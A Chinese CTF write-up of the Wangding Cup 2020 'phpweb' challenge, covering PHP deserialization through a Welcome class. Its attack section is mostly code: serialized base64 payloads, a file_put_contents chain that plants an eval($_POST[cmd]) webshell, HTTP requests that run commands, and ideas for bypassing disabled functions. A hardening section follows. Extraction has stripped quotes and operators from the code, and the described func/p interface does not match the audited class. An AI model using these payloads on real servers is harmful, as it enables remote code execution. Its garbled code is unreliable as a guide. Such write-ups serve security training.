
1. 网鼎杯2020朱雀组phpweb题目解析作为一名长期参与CTF竞赛的选手我最近复盘了网鼎杯2020朱雀组的phpweb题目。这道题主要考察PHP反序列化漏洞的利用结合了文件操作和动态函数调用等知识点是一道典型的PHP代码审计题目。题目环境模拟了一个简单的PHP网站核心功能是通过POST参数调用系统函数。表面上看是个普通的Web应用但暗藏玄机。我花了约3小时完成完整利用链的构造期间踩了几个典型的坑后面会详细说明。2. 题目环境搭建与初步分析2.1 本地测试环境配置为了复现题目我使用Docker快速搭建了测试环境docker run -d -p 8080:80 --name phpweb \ -v $(pwd):/var/www/html php:7.4-apache关键配置要点PHP版本锁定7.4与比赛环境一致关闭危险函数在php.ini中设置disable_functions system,exec,passthru,shell_exec开启错误显示display_errors On2.2 初始页面功能分析访问首页发现一个表单提交接口主要参数func要调用的函数名p传递给函数的参数通过Burp Suite拦截请求发现响应头包含关键信息X-Powered-By: PHP/7.4.0 X-Debug-Token: 5f3a8d2b这表明后端使用PHP 7.4且可能开启了调试模式。初步测试发现可以调用date、strtotime等无害函数但尝试调用system时返回Function not allowed。3. 反序列化漏洞挖掘3.1 敏感函数回溯通过代码审计发现关键代码段?php class Welcome { public $name; public function __destruct() { call_user_func($this-name); } } if(isset($_POST[data])) { unserialize(base64_decode($_POST[data])); }这里存在典型的反序列化漏洞接收base64编码的序列化数据反序列化时不校验对象类型Welcome类的__destruct魔术方法会执行call_user_func3.2 利用链构造构造POP链的关键步骤创建Welcome对象设置name属性为要执行的函数名序列化后base64编码利用代码示例?php class Welcome { public $name system; } echo base64_encode(serialize(new Welcome())); // 输出Tzo3OiJXZWxjb21lIjoxOntzOjQ6Im5hbWUiO3M6Njoic3lzdGVtIjt93.3 绕过函数禁用限制虽然system等函数被禁用但可以通过以下方式绕过使用proc_open创建新进程通过file_put_contents写webshell利用unserialize本身的特性最终采用的payload?php class Welcome { public $name file_put_contents; } $payload new Welcome(); $payload-name array(/var/www/html/shell.php, ?php eval($_POST[cmd]);?); echo base64_encode(serialize($payload));4. 完整漏洞利用过程4.1 分步攻击流程发送序列化payloadPOST /index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded dataTzo3OiJXZWxjb21lIjoxOntzOjQ6Im5hbWUiO2E6Mjp7aTowO3M6MTk6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjtpOjE7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4iO319验证webshell是否写入GET /shell.php HTTP/1.1 Host: target.com执行任意命令POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmdwhoami4.2 实际利用中的坑点路径问题Docker容器内路径与宿主机不同需要先通过print_r(scandir(/))探测权限问题Apache用户可能没有web目录写权限可尝试/tmp目录短标签目标服务器可能禁用?短标签需使用完整?php标签5. 防御方案与修复建议5.1 安全编码实践避免使用unserialize处理用户输入改用json_decode实现对象白名单机制function safe_unserialize($data) { $allowed_classes [SafeClass1, SafeClass2]; return unserialize($data, [allowed_classes $allowed_classes]); }5.2 服务器加固措施修改php.ini关键配置disable_functions exec,passthru,shell_exec,system,proc_open allow_url_fopen Off allow_url_include Off设置open_basedir限制open_basedir /var/www/html/:/tmp/定期更新PHP版本修复已知反序列化漏洞6. 题目延伸思考这道题还可以通过以下方式扩展结合phar伪协议触发反序列化利用PHP原生类的魔术方法如SplFileObject构造更复杂的POP链实现RCE我在实际测试中发现当禁用所有命令执行函数后还可以通过以下方式获取flag利用highlight_file读取源码通过Exception类泄露路径信息使用DirectoryIterator遍历目录这类题目的核心在于理解PHP对象注入的原理和魔术方法的触发时机。建议初学者从PHPGGC等工具入手逐步理解各种gadget的利用方式。